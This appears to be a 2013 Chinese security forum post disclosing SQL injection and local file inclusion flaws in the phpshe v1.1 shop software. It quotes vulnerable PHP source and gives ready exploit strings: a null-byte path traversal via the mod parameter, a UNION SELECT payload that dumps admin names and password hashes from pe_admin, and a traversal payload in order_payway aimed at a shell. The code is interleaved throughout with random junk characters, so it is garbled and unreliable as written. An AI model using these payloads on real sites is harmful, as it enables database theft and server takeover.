找回密码
 立即注册
查看: 3160|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
8 o, S# U9 G1 G) c/* Phpshe v1.1 Vulnerability/ \& R& Z  w6 p  J7 }3 M0 A
/* ========================
& r8 s! {: k. Q% k* O/* By: : Kn1f3' _: @9 V& ], Y6 t
/* E-Mail : 681796@qq.com
2 b6 b9 s( w1 u5 i7 Y, S/*******************************************************/& C; Y: O8 q7 M$ M! I/ k
0×00 整体大概参数传输2 @) ]  s* G, k2 A
/ E4 r& z4 [/ ~# l/ u- U: n8 g) S

" L- u8 U! R5 ?7 |% U' M- P" y3 F; g

0 U" n$ z* f/ y, i3 V//common.php2 m- H) D; I) ^
if (get_magic_quotes_gpc()) {
, F: E2 C1 V# c. B* H!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');" a: T1 Q2 G" w1 Q% t/ n" y8 f
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
' @6 m4 A; z2 V: u* g( e0 r}
$ k2 U; n7 A2 B% kelse {
7 }  R! O, B/ x2 D3 k!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ i4 I: z: M3 b$ L8 A# {& Y* z!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
/ d: V, k" m) z7 h}5 _* D9 g2 ?5 e2 \- z) g  A
session_start();& H; c. p# [0 D8 [1 b6 C1 Z
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');) n- r' R2 g  t* `) C
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');- w( K+ J" t7 e  h9 Z
+ G7 D% k0 ?! h0 k4 Z5 p& e# d$ o( a
0×01 包含漏洞5 {  _; E' T. T4 T

. ~$ o- A. P9 U8 e

! J6 H2 w% B' Q  o  ?% ^  m& l, t9 P//首页文件
9 l( V% J0 @7 K7 C<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);) F  R- \6 y/ M
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
! C' z4 O* r2 C# x4 F/ ~. x% H- p/ Spe_result();6 Q- v3 o, d" o3 k' z' g
?>
0 Q) Q$ L& i* L6 L& H4 s6 \9 Z- e& k//common 文件 第15行开始
; G% k1 Z( j( u, t3 Vurl路由配置+ K2 r! v* `/ g+ N/ q
$module = $mod = $act = 'index';
$ u5 \) y" I) {$ x3 K$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);, x' J4 G: M4 [4 }; [2 ^1 n: k, s/ K
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
  J1 J, n  t! H' G$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);, r* p* `& t0 `/ f7 ^
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
* o- @; d  o- |$ `

8 p" f2 H+ _" h2 X- }7 Y3 D! N

# p6 q5 ], y) s2 w 0×02 搜索注入: @) I8 c; F8 K
7 k4 {: M4 V! ]
<code id="code2">

//product.php文件# [# v9 S) v( {4 h: ^1 E, w" {2 ~
case 'list':
" c+ {+ ~/ k4 {$ M. w$category_id = intval($id);
6 h9 L4 s. Y2 [$info = $db->pe_select('category', array('category_id'=>$category_id));: |7 A8 u5 w3 v, d
//搜索
/ [1 X! w9 ?3 v+ d  F$sqlwhere = " and `product_state` = 1";
, B( V; E  y/ B# c9 J) N2 ope_lead('hook/category.hook.php');' k! X1 U9 l1 g) |4 A/ q1 I% r* }
if ($category_id) {# i9 ]" P4 A/ ~
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
5 h" I  D: s4 @' W  p}: s% x: k; x6 o) T1 E/ z4 `
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤/ |- j  c7 W5 B. u# Q& A2 _5 [8 G7 a
if ($_g_orderby) {
4 H- r+ i3 P/ j$ M. t- E2 S$orderby = explode('_', $_g_orderby);
& A$ p+ w3 w& S3 ^, j& a0 |" l$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 c2 p0 S0 L2 W( A8 U) P4 \}, B" U3 t6 Z7 G5 u1 w8 _
else {
3 j  `2 G/ c# v; b) R$sqlwhere .= " order by `product_id` desc";4 v+ O" c! S: E4 K
}6 L3 y# r6 l1 x" ~$ T5 O: P4 @3 @
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));, k" r# x. T2 d' r! }& ]+ I
//热卖排行
, [2 m0 U1 m; @6 J  ]7 R" U0 y$product_hotlist = product_hotlist();' \1 H8 Z( v+ F: S. g4 _2 e+ e
//当前路径
3 x$ L1 C: a$ f) K4 T" @' c$nowpath = category_path($category_id);7 q6 f8 n5 `& Q* D! w
$seo = pe_seo($info['category_name']);# \: y9 D; g* m- s5 D
include(pe_tpl('product_list.html'));, I, z4 f' T, S1 h0 F5 Z$ C2 Z2 @
//跟进selectall函数库+ W  j$ C; L* k, }7 R/ u7 \
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())8 u: a$ e2 q( t6 _+ F
{
7 ^# h  _4 o1 F3 O  t* x5 [/ e# v//处理条件语句0 n4 s3 [8 j( S7 [# m
$sqlwhere = $this->_dowhere($where);5 r! c$ v; N& I% Q- u3 d1 z
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
5 m- b+ s& A2 ~' ?6 l}
& Y  A0 U7 ?, p6 J2 A8 k1 D  u. n//exp% R) p9 T8 ?6 O5 b% V
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1: o" U3 u: M; }- ?: J

</code>8 K. r4 `9 F* b3 p

" a4 A7 E3 p1 o. m' i% L" U: w0×03 包含漏洞20 X7 u2 h5 [8 Q/ O8 W; U

3 {9 P( E& [7 q5 I- N/ v9 t% o<code id="code3">

//order.php

case 'pay':


) m/ o! i, T" R2 h$order_id = pe_dbhold($_g_id);


7 u# `' l+ \( l& O% g1 s$ i$cache_payway = cache::get('payway');

7 K% o+ @. ]7 t( ^$ Y) x! T" L
foreach($cache_payway as $k => $v) {


$ o: l7 X% r3 }) z( N$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


5 q3 M+ A5 g$ C& i- Q& Gif ($k == 'bank') {

4 H7 N) W4 a( }& ^
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


2 T9 q7 v! X% |4 _5 g}

; a, z4 P% g, s& ]3 V
}

0 g' x/ J& F0 J4 O
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

/ i! l7 w+ ^2 k9 G; o6 ?# ~
!$order['order_id'] && pe_error('订单号错误...');


' i* {* i5 M! d" K) s& Yif (isset($_p_pesubmit)) {

7 ?7 q' q' ~' ?  r& V: j3 y
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

6 d# z" X4 D* ?$ Z
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


% `3 C0 a& m' G: W' A7 c6 C5 `foreach ($info_list as $v) {


$ M. ]: H; ^" u1 M7 N$order['order_name'] .= "{$v['product_name']};";
; a; I7 K# d4 K! M# ^! |

' G; T( c& [6 l8 s) `; F* \3 `- q
}


- E2 L  ^4 {) `( g4 p4 Qecho '正在为您连接支付网站,请稍后...';


1 i) C0 S' P7 v8 J$ jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


9 \( f2 {: K" F3 B}//当一切准备好的时候就可以进行"鸡肋包含了"


! r( i+ `/ \7 ^" U( Q9 Telse {


% e$ L2 \* p5 r' ?pe_error('支付错误...');


( s1 ^8 Y: b/ B. V}


# F4 n# Z; v. ~: `- I) E2 w4 L}


- B( K9 P5 [6 P, X- ]  W; x$seo = pe_seo('选择支付方式');


- |9 W, j0 D& H+ I" N8 pinclude(pe_tpl('order_pay.html'));


, \. g, N- ?6 pbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
' f  }2 N7 D( M8 `2 X7 X' {http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表